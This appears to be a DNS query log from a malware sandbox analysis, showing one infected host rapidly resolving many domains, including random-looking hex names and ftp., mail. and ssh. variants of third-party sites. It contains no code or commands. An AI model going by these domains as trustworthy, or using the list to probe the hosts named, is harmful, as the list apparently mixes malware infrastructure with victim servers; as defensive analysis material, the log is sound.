Dec 20, 2023 03:13:22.300441027 CET	192.168.2.4	1.1.1.1	0x11da	Standard query (0)	mx1.cloudhosting.co.uk	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.394087076 CET	192.168.2.4	1.1.1.1	0x28cc	Standard query (0)	www.rehau.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.400461912 CET	192.168.2.4	1.1.1.1	0x423e	Standard query (0)	www.iconcap.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.402219057 CET	192.168.2.4	1.1.1.1	0x1229	Standard query (0)	www.u90soccercenter.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.407721043 CET	192.168.2.4	1.1.1.1	0x35d6	Standard query (0)	theijunction-com0ic.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:22.409790039 CET	192.168.2.4	1.1.1.1	0x4c93	Standard query (0)	www.theseekerchurch.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.494771957 CET	192.168.2.4	1.1.1.1	0x39e6	Standard query (0)	janicearies.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.495224953 CET	192.168.2.4	1.1.1.1	0xdafe	Standard query (0)	floridasun.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.495224953 CET	192.168.2.4	1.1.1.1	0xcb0c	Standard query (0)	nationwide-claims.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.495651007 CET	192.168.2.4	1.1.1.1	0x8638	Standard query (0)	8f7940a0023aab5c.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.496105909 CET	192.168.2.4	1.1.1.1	0x99d3	Standard query (0)	9ef1e72a04361055.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.496397972 CET	192.168.2.4	1.1.1.1	0x1567	Standard query (0)	8d560e557e715856.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.496598959 CET	192.168.2.4	1.1.1.1	0xdcbc	Standard query (0)	ba02867e18351c89.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.496850967 CET	192.168.2.4	1.1.1.1	0x368	Standard query (0)	yokohamaichigoichie.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.497062922 CET	192.168.2.4	1.1.1.1	0x4c05	Standard query (0)	ftp.a4f53bcfebc986c4.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.497201920 CET	192.168.2.4	1.1.1.1	0x2674	Standard query (0)	calebandersondesigns.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.497463942 CET	192.168.2.4	1.1.1.1	0xe554	Standard query (0)	woldsweather.plus.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.497553110 CET	192.168.2.4	1.1.1.1	0x2a8b	Standard query (0)	radiomaria.orgar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.497741938 CET	192.168.2.4	1.1.1.1	0xd12e	Standard query (0)	habbocentral.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.558773041 CET	192.168.2.4	1.1.1.1	0xce0b	Standard query (0)	www.atelcommunications.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.566287041 CET	192.168.2.4	1.1.1.1	0x1217	Standard query (0)	a4f53bcfebc986c4.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.608344078 CET	192.168.2.4	1.1.1.1	0x57cc	Standard query (0)	www.soytijuana.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.610898972 CET	192.168.2.4	1.1.1.1	0xb71f	Standard query (0)	www.guymassey.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.864526987 CET	192.168.2.4	1.1.1.1	0x8f56	Standard query (0)	kingshit.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.942416906 CET	192.168.2.4	1.1.1.1	0x9671	Standard query (0)	www.engelgau.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.942765951 CET	192.168.2.4	1.1.1.1	0x662b	Standard query (0)	carisfoundation.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.972481012 CET	192.168.2.4	1.1.1.1	0x636e	Standard query (0)	www.hugedomains.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.973336935 CET	192.168.2.4	1.1.1.1	0xfaa5	Standard query (0)	hildebrandproject.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:23.974042892 CET	192.168.2.4	1.1.1.1	0x56ff	Standard query (0)	www.qihabitats.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.011564970 CET	192.168.2.4	1.1.1.1	0x95f4	Standard query (0)	ww7.recipe-for-kids.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.015268087 CET	192.168.2.4	1.1.1.1	0xf9fc	Standard query (0)	www.texasopendoor.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.078063965 CET	192.168.2.4	1.1.1.1	0x87d4	Standard query (0)	ftp.sgeg-usa.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.080334902 CET	192.168.2.4	1.1.1.1	0xb82b	Standard query (0)	ftp.leuadxqqqn.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.080334902 CET	192.168.2.4	1.1.1.1	0xa112	Standard query (0)	mail.churchofscientology.orguk	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.081480980 CET	192.168.2.4	1.1.1.1	0xa0c1	Standard query (0)	ftp.churchofscientology.orguk	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.081480980 CET	192.168.2.4	1.1.1.1	0x7318	Standard query (0)	ftp.yjprwlto.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.199107885 CET	192.168.2.4	1.1.1.1	0x6b3	Standard query (0)	sites.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.380089045 CET	192.168.2.4	1.1.1.1	0x8ac	Standard query (0)	www.devnetmedia.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.469892979 CET	192.168.2.4	1.1.1.1	0x1a88	Standard query (0)	sgeg-usa.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.470297098 CET	192.168.2.4	1.1.1.1	0x5b35	Standard query (0)		256	256	false
Dec 20, 2023 03:13:24.470665932 CET	192.168.2.4	1.1.1.1	0xc996	Standard query (0)	ccs1.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.471539021 CET	192.168.2.4	1.1.1.1	0x4780	Standard query (0)	fzdwiq.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.473921061 CET	192.168.2.4	1.1.1.1	0x5db3	Standard query (0)	cummingscreativegroup.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.474339962 CET	192.168.2.4	1.1.1.1	0x7c63	Standard query (0)	nothingbutmiraclesphotography.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.474668980 CET	192.168.2.4	1.1.1.1	0x9d67	Standard query (0)	clsunlimited.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.475152969 CET	192.168.2.4	1.1.1.1	0xdb75	Standard query (0)	vaoypo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.479052067 CET	192.168.2.4	1.1.1.1	0x815a	Standard query (0)	lum-gaming.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.489166021 CET	192.168.2.4	1.1.1.1	0x877c	Standard query (0)	rmckenna.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.489352942 CET	192.168.2.4	1.1.1.1	0xe529	Standard query (0)	crayzrocker.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.490386009 CET	192.168.2.4	1.1.1.1	0x4b00	Standard query (0)	jcdnc.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.495167017 CET	192.168.2.4	1.1.1.1	0xac13	Standard query (0)	ftp.nationwide-claims.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.497687101 CET	192.168.2.4	1.1.1.1	0xb1c9	Standard query (0)	dm.famm.us	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.498034000 CET	192.168.2.4	1.1.1.1	0x979	Standard query (0)	mail.leuadxqqqn.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.501157045 CET	192.168.2.4	1.1.1.1	0xed97	Standard query (0)	dlirfo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.501647949 CET	192.168.2.4	1.1.1.1	0x6f31	Standard query (0)	ftp.dlirfo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.577961922 CET	192.168.2.4	1.1.1.1	0x8c2a	Standard query (0)	ftp.radiomaria.orgar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.624195099 CET	192.168.2.4	1.1.1.1	0xc217	Standard query (0)	ftp.woldsweather.plus.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.624195099 CET	192.168.2.4	1.1.1.1	0xe52b	Standard query (0)	ftp.floridasun.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.624795914 CET	192.168.2.4	1.1.1.1	0x8a56	Standard query (0)	mail.crayzrocker.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.625669956 CET	192.168.2.4	1.1.1.1	0xb2de	Standard query (0)	ftp.ba02867e18351c89.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.626357079 CET	192.168.2.4	1.1.1.1	0x7ab1	Standard query (0)	ftp.8d560e557e715856.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.640440941 CET	192.168.2.4	1.1.1.1	0xdfbc	Standard query (0)	ftp.yokohamaichigoichie.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.641453981 CET	192.168.2.4	1.1.1.1	0x31a8	Standard query (0)	mail.sgeg-usa.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.673682928 CET	192.168.2.4	1.1.1.1	0x54cb	Standard query (0)	ftp.crayzrocker.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.674556017 CET	192.168.2.4	1.1.1.1	0x9c63	Standard query (0)	ftp.cummingscreativegroup.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.674556017 CET	192.168.2.4	1.1.1.1	0x2ca6	Standard query (0)	mail.sachem.com.ar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.689740896 CET	192.168.2.4	1.1.1.1	0x263f	Standard query (0)	ftp.rmckenna.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.704307079 CET	192.168.2.4	1.1.1.1	0xc1fb	Standard query (0)	ftp.calebandersondesigns.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.732340097 CET	192.168.2.4	1.1.1.1	0xa9b2	Standard query (0)	ftp.8f7940a0023aab5c.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.732340097 CET	192.168.2.4	1.1.1.1	0x2d9d	Standard query (0)	ftp.janicearies.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.732992887 CET	192.168.2.4	1.1.1.1	0x5a92	Standard query (0)	ftp.9ef1e72a04361055.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.764122963 CET	192.168.2.4	1.1.1.1	0x625a	Standard query (0)	ftp.habbocentral.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.766727924 CET	192.168.2.4	1.1.1.1	0xe4d	Standard query (0)	mail.cummingscreativegroup.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.808758974 CET	192.168.2.4	1.1.1.1	0xf9c1	Standard query (0)	ftp.vaoypo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.813903093 CET	192.168.2.4	1.1.1.1	0xe6a	Standard query (0)	ftp.nicsonsconcrete.com.au	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.813903093 CET	192.168.2.4	1.1.1.1	0x3c89	Standard query (0)	yjprwlto.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.814112902 CET	192.168.2.4	1.1.1.1	0x30aa	Standard query (0)	mail.nationwide-claims.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.815186977 CET	192.168.2.4	1.1.1.1	0xced4	Standard query (0)	sachem.com.ar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.815186977 CET	192.168.2.4	1.1.1.1	0xc84c	Standard query (0)	mail.ba02867e18351c89.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.815402031 CET	192.168.2.4	1.1.1.1	0xc664	Standard query (0)	ftp.sachem.com.ar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.815603018 CET	192.168.2.4	1.1.1.1	0x6cd	Standard query (0)	ftp.nothingbutmiraclesphotography.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.818844080 CET	192.168.2.4	1.1.1.1	0x7a4b	Standard query (0)	www.a2b-internet.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.818844080 CET	192.168.2.4	1.1.1.1	0x41d3	Standard query (0)	mail.floridasun.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.826968908 CET	192.168.2.4	1.1.1.1	0xe3a2	Standard query (0)	mail.yjprwlto.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.857393026 CET	192.168.2.4	1.1.1.1	0x8d37	Standard query (0)	zhelen.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.862526894 CET	192.168.2.4	1.1.1.1	0xa05f	Standard query (0)	justhelpthyself.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.862962008 CET	192.168.2.4	1.1.1.1	0xaead	Standard query (0)	shopeeten.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.877397060 CET	192.168.2.4	1.1.1.1	0x1c19	Standard query (0)	njbkrl.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.877398014 CET	192.168.2.4	1.1.1.1	0x7b5	Standard query (0)	mail.9ef1e72a04361055.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.879491091 CET	192.168.2.4	1.1.1.1	0x699f	Standard query (0)	mail.habbocentral.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.880553007 CET	192.168.2.4	1.1.1.1	0xa152	Standard query (0)	www.wakux2.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.881442070 CET	192.168.2.4	1.1.1.1	0xf566	Standard query (0)	mail.radiomaria.orgar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.881442070 CET	192.168.2.4	1.1.1.1	0x1c8f	Standard query (0)	leuadxqqqn.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.889040947 CET	192.168.2.4	1.1.1.1	0xa8e3	Standard query (0)	ftp.jcdnc.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.889600992 CET	192.168.2.4	1.1.1.1	0x677c	Standard query (0)	mail.8f7940a0023aab5c.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.890008926 CET	192.168.2.4	1.1.1.1	0xf2fa	Standard query (0)	mail.8d560e557e715856.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.890008926 CET	192.168.2.4	1.1.1.1	0x4735	Standard query (0)	mail.yokohamaichigoichie.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.896433115 CET	192.168.2.4	1.1.1.1	0xe7c5	Standard query (0)	x-woofer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.896492004 CET	192.168.2.4	1.1.1.1	0x346d	Standard query (0)	youre.a.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.896713018 CET	192.168.2.4	1.1.1.1	0xba4d	Standard query (0)	curtisoutland.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.904571056 CET	192.168.2.4	1.1.1.1	0x6675	Standard query (0)	mail.dm.famm.us	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.906814098 CET	192.168.2.4	1.1.1.1	0x38cb	Standard query (0)	mail.a4f53bcfebc986c4.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.906814098 CET	192.168.2.4	1.1.1.1	0x1c7c	Standard query (0)	mail.calebandersondesigns.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:24.912540913 CET	192.168.2.4	1.1.1.1	0xf7b9	Standard query (0)	mail.janicearies.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.014168978 CET	192.168.2.4	1.1.1.1	0xa05c	Standard query (0)	mobiamericas-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.020437002 CET	192.168.2.4	1.1.1.1	0x357d	Standard query (0)	mail.vaoypo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.021842957 CET	192.168.2.4	1.1.1.1	0x5959	Standard query (0)	gatewayseweranddrain.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.021842957 CET	192.168.2.4	1.1.1.1	0xa129	Standard query (0)	ftp.remafer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.035275936 CET	192.168.2.4	1.1.1.1	0xe5d6	Standard query (0)	mail.remafer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.036257982 CET	192.168.2.4	1.1.1.1	0xeb22	Standard query (0)	remafer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.068439960 CET	192.168.2.4	1.1.1.1	0xae6d	Standard query (0)	dfc.nettw	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.069108009 CET	192.168.2.4	1.1.1.1	0x50bb	Standard query (0)	churchofscientology.orguk	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.110610008 CET	192.168.2.4	1.1.1.1	0x4209	Standard query (0)	nicsonsconcrete.com.au	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.115128994 CET	192.168.2.4	1.1.1.1	0x3a9f	Standard query (0)	ftp.lum-gaming.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.115129948 CET	192.168.2.4	1.1.1.1	0x8d90	Standard query (0)	mail.jcdnc.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.115554094 CET	192.168.2.4	1.1.1.1	0xf401	Standard query (0)	ftp.dm.famm.us	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.128432989 CET	192.168.2.4	1.1.1.1	0xe16a	Standard query (0)	4ku9ipwefstyxr.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.231586933 CET	192.168.2.4	1.1.1.1	0x103f	Standard query (0)	ftp.justhelpthyself.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.231586933 CET	192.168.2.4	1.1.1.1	0xe5d0	Standard query (0)	ftp.clsunlimited.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.232533932 CET	192.168.2.4	1.1.1.1	0x69b2	Standard query (0)	ftp.4ku9ipwefstyxr.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.237622023 CET	192.168.2.4	1.1.1.1	0xd947	Standard query (0)	ftp.shopeeten.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.311109066 CET	192.168.2.4	1.1.1.1	0x8e4a	Standard query (0)	mail.gatewayseweranddrain.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.317876101 CET	192.168.2.4	1.1.1.1	0x2f36	Standard query (0)	cyadp.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.406785011 CET	192.168.2.4	1.1.1.1	0x9269	Standard query (0)	ftp.youre.a.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.407138109 CET	192.168.2.4	1.1.1.1	0xde56	Standard query (0)	ftp.ccs1.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.407546997 CET	192.168.2.4	1.1.1.1	0x2610	Standard query (0)	ftp.dfc.nettw	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.408432961 CET	192.168.2.4	1.1.1.1	0x62eb	Standard query (0)	ftp.zhelen.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.409521103 CET	192.168.2.4	1.1.1.1	0x97d3	Standard query (0)	ftp.gatewayseweranddrain.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.410871983 CET	192.168.2.4	1.1.1.1	0x6ee0	Standard query (0)	ftp.curtisoutland.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.410871983 CET	192.168.2.4	1.1.1.1	0x7a48	Standard query (0)	ftp.x-woofer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.411398888 CET	192.168.2.4	1.1.1.1	0xe4cf	Standard query (0)	ftp.fzdwiq.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.499005079 CET	192.168.2.4	1.1.1.1	0x7d66	Standard query (0)	ftp.njbkrl.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.499317884 CET	192.168.2.4	1.1.1.1	0x49ab	Standard query (0)	ftp.cyadp.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.499577045 CET	192.168.2.4	1.1.1.1	0x8fbb	Standard query (0)	bsboil.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.500659943 CET	192.168.2.4	1.1.1.1	0xd087	Standard query (0)	dekoracio.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.502638102 CET	192.168.2.4	1.1.1.1	0xb31c	Standard query (0)	ftp.dekoracio.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.546271086 CET	192.168.2.4	1.1.1.1	0x20f	Standard query (0)	ilovetechno.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.546473026 CET	192.168.2.4	1.1.1.1	0x4de4	Standard query (0)	ftp.ilovetechno.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.548437119 CET	192.168.2.4	1.1.1.1	0xb3b9	Standard query (0)	alnajah.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.548635006 CET	192.168.2.4	1.1.1.1	0xa2dd	Standard query (0)	www.carisfoundation.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.786725998 CET	192.168.2.4	1.1.1.1	0xf7f0	Standard query (0)	ssh.a4f53bcfebc986c4.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.843353033 CET	192.168.2.4	1.1.1.1	0x84d9	Standard query (0)	ftp.alnajah.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.883630991 CET	192.168.2.4	1.1.1.1	0x7306	Standard query (0)	yjroeown.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.893210888 CET	192.168.2.4	1.1.1.1	0x450	Standard query (0)	mail.rmckenna.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.894771099 CET	192.168.2.4	1.1.1.1	0x25ac	Standard query (0)	ftp.bsboil.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.895272970 CET	192.168.2.4	1.1.1.1	0x7061	Standard query (0)	ssh.sgeg-usa.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.967026949 CET	192.168.2.4	1.1.1.1	0x9122	Standard query (0)	mail.lum-gaming.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.972441912 CET	192.168.2.4	1.1.1.1	0x2f19	Standard query (0)	mail.dlirfo.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.973438025 CET	192.168.2.4	1.1.1.1	0x9f8d	Standard query (0)	mail.nothingbutmiraclesphotography.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:25.974874020 CET	192.168.2.4	1.1.1.1	0xcf31	Standard query (0)	www.mgbymags.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.001164913 CET	192.168.2.4	1.1.1.1	0x318b	Standard query (0)	mail.shopeeten.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.030596018 CET	192.168.2.4	1.1.1.1	0x734d	Standard query (0)	mail.njbkrl.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.035013914 CET	192.168.2.4	1.1.1.1	0x9830	Standard query (0)	mail.x-woofer.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.069039106 CET	192.168.2.4	1.1.1.1	0xee14	Standard query (0)	ssh.yjprwlto.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.075989962 CET	192.168.2.4	1.1.1.1	0x2e3b	Standard query (0)	ftp.yjroeown.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.075989962 CET	192.168.2.4	1.1.1.1	0xc6e	Standard query (0)	ssh.leuadxqqqn.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.110867023 CET	192.168.2.4	1.1.1.1	0xbdbf	Standard query (0)	ssh.churchofscientology.orguk	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.126585007 CET	192.168.2.4	1.1.1.1	0x2b14	Standard query (0)	www.tgcan.co.uk	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.263796091 CET	192.168.2.4	1.1.1.1	0x5cff	Standard query (0)	mail.bsboil.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.263797045 CET	192.168.2.4	1.1.1.1	0xe5de	Standard query (0)	mail.zhelen.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.264986992 CET	192.168.2.4	1.1.1.1	0xc55e	Standard query (0)	mail.ilovetechno.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.265423059 CET	192.168.2.4	1.1.1.1	0xca92	Standard query (0)	mail.4ku9ipwefstyxr.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.266593933 CET	192.168.2.4	1.1.1.1	0x5275	Standard query (0)	mail.dfc.nettw	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.267043114 CET	192.168.2.4	1.1.1.1	0x4aac	Standard query (0)	mail.youre.a.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.267126083 CET	192.168.2.4	1.1.1.1	0x61ad	Standard query (0)	mail.curtisoutland.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.630948067 CET	192.168.2.4	1.1.1.1	0x398d	Standard query (0)	ssh.nationwide-claims.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.659617901 CET	192.168.2.4	1.1.1.1	0x8443	Standard query (0)	mail.dekoracio.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.662312031 CET	192.168.2.4	1.1.1.1	0xa2f0	Standard query (0)	mail.alnajah.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.666388988 CET	192.168.2.4	1.1.1.1	0x79a7	Standard query (0)	ssh.jcdnc.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.669986963 CET	192.168.2.4	1.1.1.1	0x8d38	Standard query (0)	ssh.cummingscreativegroup.net	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.673753023 CET	192.168.2.4	1.1.1.1	0xa9d8	Standard query (0)	ssh.radiomaria.orgar	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.673753023 CET	192.168.2.4	1.1.1.1	0x2651	Standard query (0)	ssh.woldsweather.plus.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.674041033 CET	192.168.2.4	1.1.1.1	0xc730	Standard query (0)	ssh.8d560e557e715856.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.674209118 CET	192.168.2.4	1.1.1.1	0x8c3e	Standard query (0)	ssh.ba02867e18351c89.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.674406052 CET	192.168.2.4	1.1.1.1	0x2b29	Standard query (0)	ssh.floridasun.org	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.674659014 CET	192.168.2.4	1.1.1.1	0xad7f	Standard query (0)	ssh.yokohamaichigoichie.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.787480116 CET	192.168.2.4	1.1.1.1	0x66bc	Standard query (0)	mail.clsunlimited.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.792227030 CET	192.168.2.4	1.1.1.1	0x9030	Standard query (0)	ssh.rmckenna.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.793224096 CET	192.168.2.4	1.1.1.1	0x21f1	Standard query (0)	ssh.calebandersondesigns.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.793925047 CET	192.168.2.4	1.1.1.1	0x9df	Standard query (0)	ssh.janicearies.com	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:26.796389103 CET	192.168.2.4	1.1.1.1	0xf8af	Standard query (0)	ssh.9ef1e72a04361055.com	A (IP address)	IN (0x0001)	false
